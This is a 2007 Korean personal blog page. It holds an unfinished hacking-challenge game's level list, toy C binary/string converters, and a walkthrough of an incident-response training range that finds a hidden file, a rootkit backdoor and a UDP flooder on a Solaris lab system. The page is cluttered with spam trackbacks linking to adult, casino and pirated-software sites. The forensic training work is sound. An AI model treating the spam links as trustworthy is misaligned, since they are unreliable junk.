    Operation Flashpoint-dragon Raising 1gb <a href="http://rspost.blogetery.com/games/operation-flashpoint-dragon-raising-1gb.html">Operation Flashpoint-dragon Raising 1gb</a>

  9. Casino 1269869138

    Tracked from Casino 1269869138 2010/03/30 02:33 Delete

    Casino 1269869138

Leave a comment

과거에 만들고 있던 웹게임

  • Posted at 2007/04/24 13:26
  • Filed under 헛소리
그러고 보니 옛날에 만들다가 중단한 웹게임이 홈페이지 계정에 있네요.
-_-; 아마 레벨도 현재 9까지인가 밖에 없을겁니다..
심심한분은 해보세요.. -_-;; 조만간 다시 한번 만들어 봐야겠네요~ㅎㅎ

사용자 삽입 이미지


(생각외로 난이도가 있어서 꾀 어렵습니다. -_-; 물런 경험이 적은 분들에 한해서죠..)

주소 : http://dualpage.muz.ro/webgame

--------------------------
::::::::::::Stage introduction::::::::::::
Level1 - Find password & authorization
Level2 - Javascript idiot test
Level3 - Download yourself
Level4 - steganography
Level5 - Simple Flash file
Level6 - Unhash MD5
Level7 - Mysql 3.23 Login
Level8 - Easy Chiper
Level9 - Bonus
이올린에 북마크하기

Posted by Dual

2007/04/24 13:26 2007/04/24 13:26
Response
8 Trackbacks , No Comment
RSS :
http://dual5651.hacktizen.com/tc/rss/response/281

Trackback URL : http://dual5651.hacktizen.com/tc/trackback/281

Trackbacks List

  1. westport breast implants

    Tracked from westport breast implants 2009/07/28 03:42 Delete

    lesbians of wnba <a href="http://sexoasis74.5gighost.com/lesbians-of-wnba.html">lesbians of wnba</a>

  2. zeps guide

    Tracked from zeps guide 2009/07/29 15:34 Delete

    tawas security experts <a href="http://vatzefak.wordpress.com/">tawas security experts</a>

  3. zero turn lawn mowers

    Tracked from zero turn lawn mowers 2009/07/29 16:23 Delete

    tawas voip phone systems <a href="http://maifunemae.wordpress.com/">tawas voip phone systems</a>

  4. Margot Kidder Nude

    Tracked from Margot Kidder Nude 2009/08/18 01:55 Delete

    Margot Kidder Nude <a href="http://www.kaboodle.com/margot_kidder_nude_52">Margot Kidder Nude</a> Photos and Video. jgr1uig98d

  5. sex storis

    Tracked from sex storis 2009/08/19 20:32 Delete

    erin esurance hentai <a href="http://www.kaboodle.com/erin_esurance_hentai_19">erin esurance hentai </a> bullzeye lingerie <a href="http://www.kaboodle.com/bullzeye_lingerie_80">bullzeye lingerie </a>

  6. danceworks milwaukee

    Tracked from danceworks milwaukee 2009/10/01 05:17 Delete

    laguna tools <a href="http://laguna-tools.gscoiqrqnvq.com/">laguna tools</a> beef tongue recipes <a href="http://beef-tongue-recipes.gscoiqrqnvq.com/">beef tongue recipes</a>

  7. Geargrinder (pc/2009) Multi 5 Full

    Tracked from Geargrinder (pc/2009) Multi 5 Full 2009/12/15 20:39 Delete

    Redman ??? Malpractice (2001) (320kbps) <a href="http://rspost.blogetery.com/music/redman-malpractice-2001-320kbps.html">Redman ??? Malpractice (2001) (320kbps)</a>

  8. Casino 1276717959

    Tracked from Casino 1276717959 2010/06/17 18:47 Delete

    Casino 1276717959

Leave a comment

심심해서 만들어본 Binary2Str


제목 그대로 Binary를 String으로 변환 시켜주는 간단한 코드 입니다.
그냥 심심해서 만들어 본 거라, 코드가 제대로 된거라고는 확신하지 못하겠네요.
(-_-.. 이런 무책임한...)

그냥 이렇게 짜도 동작하는구나... 하고 보시면 될 듯 하네요.

#include "stdafx.h"
#include <windows.h>
#include <stdlib.h>
int main(int argc, char* argv[])
{
char str[] = "010000110110111101100100011001010110010000100000011000100111100100100000010001000111010101100001011011000010000100100000010101010111001101101001011011100110011100100000011010010111010000100000011000010111010000100000011101010111001000100000011011110111011101101110001000000111001001101001011100110110101100101110";
char tmp = 0;
long cnt = 0;
// printf("Input Strings 2 convert : ");
// scanf("%s",str);
for(int k = 0; k < strlen(str); k++)
if(str[k] == '0' || str[k] == '1') cnt++;
printf("length of strings : %d\n",cnt);
if(cnt % 8 != 0)
{
printf("Your binary code is must be divisible by 8.\n");
exit(-1);
}
for(int i = 0; i < cnt/8; i++)
{
tmp = 0;
for(int j = 0; j < 8; j++)
{
  if(str[i*8 + j] == '0')
  {
   tmp <<= 1;
  }
  else if(str[i*8 + j] == '1')
  {
   tmp <<= 1;
   tmp +=1;
  }
}
printf("%c",tmp);
}
printf("\n");
return 0;
}

-_-;; 문자열 하나를 binary로 만들어서 넣어놨습니다.
프로그램을 실행시키면 문자열로 변형되서 출력되겠죠..
만약 이런 크렉미가 있다면 위의 코드를 이용해 먹을 수 있겠네요...
사용자로부터 문자열을 입력받아서 프로그램 내에서 이진수문자배열로 만든 후,
그걸 프로그램 내부에 있던 이진배열과 한개씩 비교한다.
-_-;; 만약 위의 코드를 가지고 있다면 금방 풀리겠죠...

-----------------------------------
다음날 :
오늘도 심심해서 문자열을 바이너리로 만드는것도 만들어 봤습니다.
-_-;; 하하 돌아가네요..

#include "stdafx.h"
#include <windows.h>
int main(int argc, char* argv[])
{
char str[] = "String2Binary!!";
char tmp;
char nina[] = {128,64,32,16,8,4,2,1};
for(int i = 0; i < strlen(str); i++)
{
tmp = str[i];
for(int j = 0; j < 8; j++)
{
  if((tmp / nina[j]) != 0)
  {
   tmp %= nina[j];
   printf("1");
  }
  else
  {
   printf("0");
  }
}
}
printf("\n");
return 0;
}

이올린에 북마크하기

Posted by Dual

2007/04/23 23:39 2007/04/23 23:39
Response
A trackback , 2 Comments
RSS :
http://dual5651.hacktizen.com/tc/rss/response/280

Trackback URL : http://dual5651.hacktizen.com/tc/trackback/280

Trackbacks List

  1. Minoura DS 30 Bike Stand

    Tracked from Minoura DS 30 Bike Stand 2011/12/19 09:48 Delete

Comments List

  1. Air Jordans 2011/08/29 17:41 # M/D Reply Permalink

    555clf1
    thanjks for you

  2. Nike Air Max for Sal 2011/08/29 17:44 # M/D Reply Permalink

    555clf4
    very gpod

Leave a comment

sis.or.kr - 침해사고대응 풀이를 해보자.

  • Posted at 2007/04/21 14:50
  • Filed under Linux
sis.or.kr 의 침해사고대응 훈련장에 대한 풀이인데요,
40개 다 써놓으면 문제가 되겠죠..
그래서 1페이지의 20문제만 풀이를 써놓습니다.
기존의 해킹문제들은 침투를 해서 어떻게 더 높은 권한을
획득하느냐, 얻고자 하는걸 얻느냐 였다면,
이건 침임했던 해커의 흔적이 무엇인가?
어떻게 하면 해커의 재 침입을 막을 수 있는가?
등에 대해서 알 수 있는 문제들이라고 할 수 있습니다.
좀 엉터리 같이 푼게 마음에 걸리네요.. :)
잘못된 내용은 dual5651@hotmail.com 으로 ~

=====================================================
Question 1 - truss를 이용한 시스템 명령 변조 여부 확인
=====================================================

먼저 su를 이용해 root로 들어갑니다.

login: dual5651
Password:
Last login: Sat Apr 21 12:52:02 from 59.5.43.67
Sun Microsystems Inc.   SunOS 5.8       Generic Patch   October 2001
$ su root
Password:
# challenge 1
Now, You are challenging question 1.
Good Luck!

이 문제를 풀이하는데 쓰이는 truss 옵션은 -t 인데,
이 옵션은 특정한 시스템 서비스 호출에 대해서만 trace를 하도록 합니다.
truss -t open ls 를 하게 되면, ls 라는 프로그램에 대하여 open()하는것만
Trace한 결과를 보여주게 됩니다.
솔라리스 환경에서는 truss가 있고, linux에서는 strace 명령어, ltrace명령어등이 존재
합니다.

# truss -t open ls
open("/var/ld/ld.config", O_RDONLY)             Err#2 ENOENT
open("/usr/lib/librt.so.1", O_RDONLY)           = 3
open("/usr/lib/libgen.so.1", O_RDONLY)          = 3
open("/usr/lib/libnsl.so.1", O_RDONLY)          = 3
open("/usr/lib/libc.so.1", O_RDONLY)            = 3
open("/usr/lib/libaio.so.1", O_RDONLY)          = 3
open("/usr/lib/libdl.so.1", O_RDONLY)           = 3
open("/usr/lib/libmp.so.2", O_RDONLY)           = 3
open("/usr/platform/SUNW,Sun-Fire-880/lib/libc_psr.so.1", O_RDONLY) = 3
open64("/dev/ptyr", O_RDONLY)                   = 3
open64(".", O_RDONLY|O_NDELAY)                  = 3
open64("./../", O_RDONLY|O_NDELAY)              = 4
open64("./../../", O_RDONLY|O_NDELAY)           = 4
open("/etc/mnttab", O_RDONLY)                   = 5
local.cshrc  local.login  local.profile s     r


# finish
Do you want to check your result of challenge?
Select [Y]es or [N]o : y
Question > 공격자가 숨기려고 한 파일 이름은 무엇입니까?
Answer > s     r
Congratz! You made a success of challenge!


=====================================================
Question 2 -  공개도구를 이용한 분석
=====================================================

# challenge 2
Now, You are challenging question 2.
Good Luck!

이 문제는 정상적인 방법으로 풀고자 한다면,
/var 에 접근하는 프로세스를 fuser 로 찾아내면 될것이다.
하지만 현재 시스템에는 fuser가 존재하지 않는것으로 보임으로,
문제를 시작하기 전의 프로세스와 문제를 시작하고 나서의 프로세스를
비교해서 대상 프로세스를 찾아보면,

before :
# ps -ef
    UID   PID  PPID  C    STIME TTY      TIME CMD
  root   700     1  0 20:17:44 console  0:00 /usr/lib/saf/ttymon -g -h -p cert
console login:  -T sun -d /dev/console -l con
  root   168     1  0 20:17:12 ?        0:00 ipmon -Ds
  root 14498 13621  0 14:58:08 pts/2    0:00 sh
  root    65     1  0 20:17:04 ?        0:00 /usr/lib/sysevent/syseventd
  root    79     1  0 20:17:06 ?        1:12 /usr/lib/picl/picld
  root    74     1  0 20:17:05 ?        0:00 devfsadmd
  root   185     1  0 20:17:12 ?        0:00 /usr/lib/inet/in.ndpd
  root   418     1  0 20:17:24 ?        0:00 /usr/sbin/rcinetd -s
  root   204     1  0 20:17:13 ?        0:00 /usr/sbin/rpcbind
  root   454     1  0 20:17:26 ?        0:00 /usr/sbin/cron
  root   445     1  0 20:17:25 ?        0:00 /usr/sbin/rcsyslogd
  root   469     1  0 20:17:29 ?        0:00 /usr/sbin/nscd
  root   431     1  0 20:17:25 ?        0:00 /usr/lib/nfs/lockd
  root   419     1  0 20:17:24 ?        0:00 /usr/sbin/in.named
  root   467     1  0 20:17:29 ?        0:00 /usr/platform/SUNW,Sun-Fire-880/l
ib/sf880drd
  root   438     1  0 20:17:25 ?        0:00 /usr/lib/autofs/automountd
  root   496     1  0 20:17:40 ?        0:00 /usr/lib/power/powerd
  root   480     1  0 20:17:39 ?        0:00 /usr/lib/lpsched
  root   530   528  0 20:17:40 ?        0:00 htt_server -port 9010 -syslog -me
ssage_locale C
  root   525     1  0 20:17:40 ?        0:00 /usr/lib/sendmail -bd -q15m
  root 14507 14498  0 14:58:16 pts/2    0:00 ps -ef
  root   517   515  0 20:17:40 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   521     1  0 20:17:40 ?        0:00 /usr/sbin/vold
  root   515     1  0 20:17:40 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   528     1  0 20:17:40 ?        0:00 /usr/lib/im/htt -port 9010 -syslo
g -message_locale C
  root 13477   418  0 14:45:02 ?        0:00 in.telnetd
  root   596     1  0 20:17:42 ?        0:00 /usr/lib/snmp/snmpdx -y -c /etc/s
nmp/conf
  root   561     1  0 20:17:41 ?        0:00 /usr/lib/efcode/sparcv9/efdaemon
  root  8974     1  0 13:38:07 ?        0:00 /usr/sbin/sadmind
  root   689     1  0 20:17:44 ?        0:00 /usr/lib/dmi/snmpXdmid -s cert
  root   636     1  0 20:17:43 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root   656   596  0 20:17:43 ?        0:00 mibiisa -r -p 32797
  root   661     1  0 20:17:43 ?        0:00 /usr/lib/dmi/dmispd
  root   734   699  0 20:17:44 ?        0:00 /usr/lib/saf/ttymon
  root   699     1  0 20:17:44 ?        0:00 /usr/lib/saf/sac -t 300
  root 13560 13477  0 14:46:22 pts/2    0:00 login -p -d /dev/pts/2 -h 59.5.43
.67
  root  3374   636  0 20:26:51 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root  3375   636  0 20:26:51 ?        0:00 /usr/openwin/bin/fbconsole -d :0

after:

# ps -ef
    UID   PID  PPID  C    STIME TTY      TIME CMD
  root   700     1  0 20:17:44 console  0:00 /usr/lib/saf/ttymon -g -h -p cert
console login:  -T sun -d /dev/console -l con
  root   168     1  0 20:17:12 ?        0:00 ipmon -Ds
  root 14498 13621  0 14:58:08 pts/2    0:00 sh
  root    65     1  0 20:17:04 ?        0:00 /usr/lib/sysevent/syseventd
  root    79     1  0 20:17:06 ?        1:12 /usr/lib/picl/picld
  root    74     1  0 20:17:05 ?        0:00 devfsadmd
  root   185     1  0 20:17:12 ?        0:00 /usr/lib/inet/in.ndpd
  root   418     1  0 20:17:24 ?        0:00 /usr/sbin/rcinetd -s
  root   204     1  0 20:17:13 ?        0:00 /usr/sbin/rpcbind
  root   454     1  0 20:17:26 ?        0:00 /usr/sbin/cron
  root   445     1  0 20:17:25 ?        0:00 /usr/sbin/rcsyslogd
  root   469     1  0 20:17:29 ?        0:00 /usr/sbin/nscd
  root   431     1  0 20:17:25 ?        0:00 /usr/lib/nfs/lockd
  root   419     1  0 20:17:24 ?        0:00 /usr/sbin/in.named
  root   467     1  0 20:17:29 ?        0:00 /usr/platform/SUNW,Sun-Fire-880/l
ib/sf880drd
  root   438     1  0 20:17:25 ?        0:00 /usr/lib/autofs/automountd
  root   496     1  0 20:17:40 ?        0:00 /usr/lib/power/powerd
  root   480     1  0 20:17:39 ?        0:00 /usr/lib/lpsched
  root   530   528  0 20:17:40 ?        0:00 htt_server -port 9010 -syslog -me
ssage_locale C
  root   525     1  0 20:17:40 ?        0:00 /usr/lib/sendmail -bd -q15m
  root   517   515  0 20:17:40 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   521     1  0 20:17:40 ?        0:00 /usr/sbin/vold
  root   515     1  0 20:17:40 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   528     1  0 20:17:40 ?        0:00 /usr/lib/im/htt -port 9010 -syslo
g -message_locale C
  root 13477   418  0 14:45:02 ?        0:00 in.telnetd
  root   596     1  0 20:17:42 ?        0:00 /usr/lib/snmp/snmpdx -y -c /etc/s
nmp/conf
  root   561     1  0 20:17:41 ?        0:00 /usr/lib/efcode/sparcv9/efdaemon
  root  8974     1  0 13:38:07 ?        0:00 /usr/sbin/sadmind
  root   689     1  0 20:17:44 ?        0:00 /usr/lib/dmi/snmpXdmid -s cert
  root   636     1  0 20:17:43 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root   656   596  0 20:17:43 ?        0:00 mibiisa -r -p 32797
  root   661     1  0 20:17:43 ?        0:00 /usr/lib/dmi/dmispd
  root   734   699  0 20:17:44 ?        0:00 /usr/lib/saf/ttymon
  root   699     1  0 20:17:44 ?        0:00 /usr/lib/saf/sac -t 300
  root 14715 14498  0 15:00:42 pts/2    0:00 ps -ef
  root 13560 13477  0 14:46:22 pts/2    0:00 login -p -d /dev/pts/2 -h 59.5.43
.67
  root 14682     1  0 15:00:40 ?        0:00 /usr/bin/vfsadmd
  root  3374   636  0 20:26:51 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root  3375   636  0 20:26:51 ?        0:00 /usr/openwin/bin/fbconsole -d :0

/usr/bin/vfsadmd 라는 프로세스가 새롭게 등장한 것을 볼 수 있다.

해당 프로세스를 죽이고, strings로 열어보았다.

# kill -9 14682
# strings /usr/bin/vfsadmd
vfsadmd
/var/du  y.log
/etc/.evrc
RC_ROOT
/proc/%ld
%s/%s/pid%d.%s
.cache
restart
%s/%s/pid%d.%s.%s
Error : Failed to getting information of CERT-TR environment!
Error : Process is currenlty running..
SUNWrc RCMGR
/dev/null
Fork
Chdir
Setsid
%s/%s/%s.%d
.cache
udpport
tcpport

/var에 있는 dummy.log라는 파일을 대상 파일로 짐작하여 볼 수 있다.

# finish
Do you want to check your result of challenge?
Select [Y]es or [N]o : y
Question > 공격자가 오픈한 파일의 전체 경로는?
Answer > /var/du  y.log
Congratz! You made a success of challenge!

=====================================================
Question 3 -  Forensic Duplication
=====================================================

# challenge 3
Now, You are challenging question 3.
Good Luck!

df 명령어를 이용해 파티션 목록을 보자.

# df
/                  (/dev/dsk/c1t1d0s0 ): 7779844 blocks   495156 files
/usr               (/dev/dsk/c1t1d0s4 ): 3729410 blocks   934939 files
/boot              (/dev/dsk/c1t5d0s2 ):   61414 blocks    18991 files
/proc              (/proc             ):       0 blocks    29928 files
/dev/fd            (fd                ):       0 blocks        0 files
/etc/mnttab        (mnttab            ):       0 blocks        0 files
/var               (/dev/dsk/c1t1d0s5 ):91428048 blocks  5972252 files
/var/run           (swap              ):23230880 blocks   440748 files
/tmp               (swap              ):23230880 blocks   440748 files
/data              (/dev/dsk/c1t1d0s6 ):    4408 blocks    18876 files
/home1             (/dev/dsk/c1t2d0s7 ):138035188 blocks  8473946 files
/backup            (/dev/dsk/c1t1d0s7 ):  219640 blocks    57019 files
/home3             (/dev/dsk/c1t4d0s7 ):141184988 blocks  8476538 files
/home4             (/dev/dsk/c1t5d0s0 ):  582428 blocks   152061 files
/home              (/dev/dsk/c1t5d0s3 ): 2641676 blocks   324324 files
/mnt               (/dev/dsk/c1t5d0s7 ):133757598 blocks  8056345 files

복사 대상 파티션은 /data 였다.
dd 명령어에 다음과 같은 옵션을 주어서 대상 파일을 백업할 수 있다.

dd if=copy해올파티션 of=copy한파일

# dd if=/dev/dsk/c1t1d0s6 of=/home1/user001/victim.data.dd
30528+0 records in
30528+0 records out

# cd /home1/user001
# ls -al
total 15280
drwxr-xr-x    2 user001  training      512 Apr 21 15:11 .
drwxr-xr-x  108 root     root         2048 Apr 17 17:49 ..
-rw-r--r--    1 user001  training      185 Apr 21 14:46 .profile
-rw-r--r--    1 user001  training      124 Apr 21 14:46 local.cshrc
-rw-r--r--    1 user001  training      607 Apr 21 14:46 local.login
-rw-r--r--    1 user001  training      582 Apr 21 14:46 local.profile
-rw-r--r--    1 root     other           3 Apr 21 15:05 test.c
-rw-r--r--    1 root     other    15630336 Apr 21 15:11 victim.data.dd

파일이 생겼음을 볼 수 있다.
md5sum

=====================================================
Question 4 -  루트킷
=====================================================

이번에도 간단히 프로세스 비교 방법으로 풀어보면,

before :

# ps -ef
    UID   PID  PPID  C    STIME TTY      TIME CMD
  root   700     1  0 20:17:44 console  0:00 /usr/lib/saf/ttymon -g -h -p cert
console login:  -T sun -d /dev/console -l con
  root   168     1  0 20:17:12 ?        0:00 ipmon -Ds
  root 14498 13621  0 14:58:08 pts/2    0:00 sh
  root    65     1  0 20:17:04 ?        0:00 /usr/lib/sysevent/syseventd
  root    79     1  0 20:17:06 ?        1:14 /usr/lib/picl/picld
  root    74     1  0 20:17:05 ?        0:00 devfsadmd
  root   185     1  0 20:17:12 ?        0:00 /usr/lib/inet/in.ndpd
  root   418     1  0 20:17:24 ?        0:00 /usr/sbin/rcinetd -s
  root   204     1  0 20:17:13 ?        0:00 /usr/sbin/rpcbind
  root   454     1  0 20:17:26 ?        0:00 /usr/sbin/cron
  root   445     1  0 20:17:25 ?        0:00 /usr/sbin/rcsyslogd
  root   469     1  0 20:17:29 ?        0:00 /usr/sbin/nscd
  root   431     1  0 20:17:25 ?        0:00 /usr/lib/nfs/lockd
  root   419     1  0 20:17:24 ?        0:00 /usr/sbin/in.named
  root   467     1  0 20:17:29 ?        0:00 /usr/platform/SUNW,Sun-Fire-880/l
ib/sf880drd
  root   438     1  0 20:17:25 ?        0:00 /usr/lib/autofs/automountd
  root   496     1  0 20:17:40 ?        0:00 /usr/lib/power/powerd
  root   480     1  0 20:17:39 ?        0:00 /usr/lib/lpsched
  root   530   528  0 20:17:40 ?        0:00 htt_server -port 9010 -syslog -me
ssage_locale C
  root   525     1  0 20:17:40 ?        0:00 /usr/lib/sendmail -bd -q15m
  root   517   515  0 20:17:40 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   521     1  0 20:17:40 ?        0:00 /usr/sbin/vold
  root   515     1  0 20:17:40 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   528     1  0 20:17:40 ?        0:00 /usr/lib/im/htt -port 9010 -syslo
g -message_locale C
  root 13477   418  0 14:45:02 ?        0:00 in.telnetd
  root   596     1  0 20:17:42 ?        0:00 /usr/lib/snmp/snmpdx -y -c /etc/s
nmp/conf
  root   561     1  0 20:17:41 ?        0:00 /usr/lib/efcode/sparcv9/efdaemon
  root  8974     1  0 13:38:07 ?        0:00 /usr/sbin/sadmind
  root   689     1  0 20:17:44 ?        0:00 /usr/lib/dmi/snmpXdmid -s cert
  root   636     1  0 20:17:43 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root   656   596  0 20:17:43 ?        0:00 mibiisa -r -p 32797
  root   661     1  0 20:17:43 ?        0:00 /usr/lib/dmi/dmispd
  root   734   699  0 20:17:44 ?        0:00 /usr/lib/saf/ttymon
  root   699     1  0 20:17:44 ?        0:00 /usr/lib/saf/sac -t 300
  root 16720 14498  0 15:30:48 pts/2    0:00 ps -ef
  root 13560 13477  0 14:46:22 pts/2    0:00 login -p -d /dev/pts/2 -h 59.5.43
.67
  root  3374   636  0 20:26:51 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root  3375   636  0 20:26:51 ?        0:00 /usr/openwin/bin/fbconsole -d :0


after:

    UID   PID  PPID  C    STIME TTY      TIME CMD
  root   700     1  0 20:17:44 console  0:00 /usr/lib/saf/ttymon -g -h -p cer
console login:  -T sun -d /dev/console -l con
  root   168     1  0 20:17:12 ?        0:00 ipmon -Ds
  root 14498 13621  0 14:58:08 pts/2    0:00 sh
  root    65     1  0 20:17:04 ?        0:00 /usr/lib/sysevent/syseventd
  root    79     1  0 20:17:06 ?        1:14 /usr/lib/picl/picld
  root    74     1  0 20:17:05 ?        0:00 devfsadmd
  root   185     1  0 20:17:12 ?        0:00 /usr/lib/inet/in.ndpd
  root   418     1  0 20:17:24 ?        0:00 /usr/sbin/rcinetd -s
  root   204     1  0 20:17:13 ?        0:00 /usr/sbin/rpcbind
  root   454     1  0 20:17:26 ?        0:00 /usr/sbin/cron
  root   445     1  0 20:17:25 ?        0:00 /usr/sbin/rcsyslogd
  root   469     1  0 20:17:29 ?        0:00 /usr/sbin/nscd
  root   431     1  0 20:17:25 ?        0:00 /usr/lib/nfs/lockd
  root   419     1  0 20:17:24 ?        0:00 /usr/sbin/in.named
  root   467     1  0 20:17:29 ?        0:00 /usr/platform/SUNW,Sun-Fire-880/
ib/sf880drd
  root   438     1  0 20:17:25 ?        0:00 /usr/lib/autofs/automountd
  root   496     1  0 20:17:40 ?        0:00 /usr/lib/power/powerd
  root   480     1  0 20:17:39 ?        0:00 /usr/lib/lpsched
  root   530   528  0 20:17:40 ?        0:00 htt_server -port 9010 -syslog -m
ssage_locale C
  root   525     1  0 20:17:40 ?        0:00 /usr/lib/sendmail -bd -q15m
  root 16782 14498  0 15:31:28 pts/2    0:00 ps -ef
  root   517   515  0 20:17:40 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   521     1  0 20:17:40 ?        0:00 /usr/sbin/vold
  root   515     1  0 20:17:40 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   528     1  0 20:17:40 ?        0:00 /usr/lib/im/htt -port 9010 -sysl
g -message_locale C
  root 13477   418  0 14:45:02 ?        0:00 in.telnetd
  root   596     1  0 20:17:42 ?        0:00 /usr/lib/snmp/snmpdx -y -c /etc/
nmp/conf
  root   561     1  0 20:17:41 ?        0:00 /usr/lib/efcode/sparcv9/efdaemon
  root  8974     1  0 13:38:07 ?        0:00 /usr/sbin/sadmind
  root   689     1  0 20:17:44 ?        0:00 /usr/lib/dmi/snmpXdmid -s cert
  root   636     1  0 20:17:43 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root   656   596  0 20:17:43 ?        0:00 mibiisa -r -p 32797
  root   661     1  0 20:17:43 ?        0:00 /usr/lib/dmi/dmispd
  root   734   699  0 20:17:44 ?        0:00 /usr/lib/saf/ttymon
  root   699     1  0 20:17:44 ?        0:00 /usr/lib/saf/sac -t 300
  root 16933     1  0 15:31:26 ?        0:00 /usr/bin/inetd-s
  root 13560 13477  0 14:46:22 pts/2    0:00 login -p -d /dev/pts/2 -h 59.5.4
.67
  root  3374   636  0 20:26:51 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root  3375   636  0 20:26:51 ?        0:00 /usr/openwin/bin/fbconsole -d :0


# ls /usr/bin/inetd-s
#

rootkit이여서, ls로는 볼 수 없는것으로 보인다.

# cd /proc/16933/object
# ls -al
total 2540
dr-x------    2 root     other         544 Apr 21 15:33 .
dr-x--x--x    5 root     other         736 Apr 21 15:33 ..
-r-xr--r--    0 root     other      126068 Apr 21 15:33 a.out
-r-xr-xr-x    1 root     bin          4848 May  6  2006 ufs.118.28.306902
-r-xr-xr-x    1 root     bin          5292 May  6  2006 ufs.118.28.343137
-r-xr-xr-x    1 root     bin         24968 May  6  2006 ufs.118.28.343169
-r-xr-xr-x    1 root     bin        238608 May  6  2006 ufs.118.28.343181
-r-xr-xr-x    1 root     bin         70864 May  6  2006 ufs.118.28.343185
-r-xr-xr-x    1 root     bin       1158072 May  6  2006 ufs.118.28.343531
-r-xr-xr-x    1 root     bin        911328 May  6  2006 ufs.118.28.343533

# strings a.out
inetd-s
program_name : h   3r
could not unlink file %s, program exiting abnormally
warez v1.0 unlinked and daemonized, listening on port %d
err: cant dup (%s)
no memory for %s
/bin/sh
/etc/.evrc
RC_ROOT
/proc/%ld
%s/%s/pid%d.%s
.cache
restart
%s/%s/pid%d.%s.%s
Command (type 'quit' to quit) :
connection closed by client
..........

# finish
Do you want to check your result of challenge?
Select [Y]es or [N]o : y
Question > 공격 프로그램의 이름은?
Answer > h   3r
Congratz! You made a success of challenge!

=====================================================
Question 5 -  UDP Flooding
=====================================================

# challenge 5
Now, You are challenging question 5.
Good Luck!


먼저 프로세스 비교를 통해 대상 프로세스를 찾아 냅니다.


before :

    UID   PID  PPID  C    STIME TTY      TIME CMD
  root   700     1  0 20:17:44 console  0:00 /usr/lib/saf/ttymon -g -h -p cert
console login:  -T sun -d /dev/console -l con
  root   168     1  0 20:17:12 ?        0:00 ipmon -Ds
  root 21268 13621  0 16:30:01 pts/2    0:00 sh
  root    65     1  0 20:17:04 ?        0:00 /usr/lib/sysevent/syseventd
  root    79     1  0 20:17:06 ?        1:17 /usr/lib/picl/picld
  root    74     1  0 20:17:05 ?        0:00 devfsadmd
  root   185     1  0 20:17:12 ?        0:00 /usr/lib/inet/in.ndpd
  root   418     1  0 20:17:24 ?        0:00 /usr/sbin/rcinetd -s
  root   204     1  0 20:17:13 ?        0:00 /usr/sbin/rpcbind
  root   454     1  0 20:17:26 ?        0:00 /usr/sbin/cron
  root   445     1  0 20:17:25 ?        0:00 /usr/sbin/rcsyslogd
  root   469     1  0 20:17:29 ?        0:00 /usr/sbin/nscd
  root   431     1  0 20:17:25 ?        0:00 /usr/lib/nfs/lockd
  root   419     1  0 20:17:24 ?        0:00 /usr/sbin/in.named
  root   467     1  0 20:17:29 ?        0:00 /usr/platform/SUNW,Sun-Fire-880/l
ib/sf880drd
  root   438     1  0 20:17:25 ?        0:00 /usr/lib/autofs/automountd
  root   496     1  0 20:17:40 ?        0:00 /usr/lib/power/powerd
  root   480     1  0 20:17:39 ?        0:00 /usr/lib/lpsched
  root   530   528  0 20:17:40 ?        0:00 htt_server -port 9010 -syslog -me
ssage_locale C
  root   525     1  0 20:17:40 ?        0:00 /usr/lib/sendmail -bd -q15m
  root   517   515  0 20:17:40 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   521     1  0 20:17:40 ?        0:00 /usr/sbin/vold
  root   515     1  0 20:17:40 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   528     1  0 20:17:40 ?        0:00 /usr/lib/im/htt -port 9010 -syslo
g -message_locale C
  root 13477   418  0 14:45:02 ?        0:00 in.telnetd
  root   596     1  0 20:17:42 ?        0:00 /usr/lib/snmp/snmpdx -y -c /etc/s
nmp/conf
  root   561     1  0 20:17:41 ?        0:00 /usr/lib/efcode/sparcv9/efdaemon
  root  8974     1  0 13:38:07 ?        0:00 /usr/sbin/sadmind
  root   689     1  0 20:17:44 ?        0:00 /usr/lib/dmi/snmpXdmid -s cert
  root   636     1  0 20:17:43 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root   656   596  0 20:17:43 ?        0:00 mibiisa -r -p 32797
  root   661     1  0 20:17:43 ?        0:00 /usr/lib/dmi/dmispd
  root   734   699  0 20:17:44 ?        0:00 /usr/lib/saf/ttymon
  root   699     1  0 20:17:44 ?        0:00 /usr/lib/saf/sac -t 300
  root 21344 21268  0 16:30:28 pts/2    0:00 ps -ef
  root 13560 13477  0 14:46:22 pts/2    0:00 login -p -d /dev/pts/2 -h 59.5.43
.67
  root  3374   636  0 20:26:51 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root  3375   636  0 20:26:51 ?        0:00 /usr/openwin/bin/fbconsole -d :0


after :

    UID   PID  PPID  C    STIME TTY      TIME CMD
  root   700     1  0 20:17:44 console  0:00 /usr/lib/saf/ttymon -g -h -p cert
console login:  -T sun -d /dev/console -l con
  root   168     1  0 20:17:12 ?        0:00 ipmon -Ds
  root 21268 13621  0 16:30:01 pts/2    0:00 sh
  root    65     1  0 20:17:04 ?        0:00 /usr/lib/sysevent/syseventd
  root    79     1  0 20:17:06 ?        1:17 /usr/lib/picl/picld
  root    74     1  0 20:17:05 ?        0:00 devfsadmd
  root   185     1  0 20:17:12 ?        0:00 /usr/lib/inet/in.ndpd
  root   418     1  0 20:17:24 ?        0:00 /usr/sbin/rcinetd -s
  root   204     1  0 20:17:13 ?        0:00 /usr/sbin/rpcbind
  root   454     1  0 20:17:26 ?        0:00 /usr/sbin/cron
  root   445     1  0 20:17:25 ?        0:00 /usr/sbin/rcsyslogd
  root   469     1  0 20:17:29 ?        0:00 /usr/sbin/nscd
  root   431     1  0 20:17:25 ?        0:00 /usr/lib/nfs/lockd
  root   419     1  0 20:17:24 ?        0:00 /usr/sbin/in.named
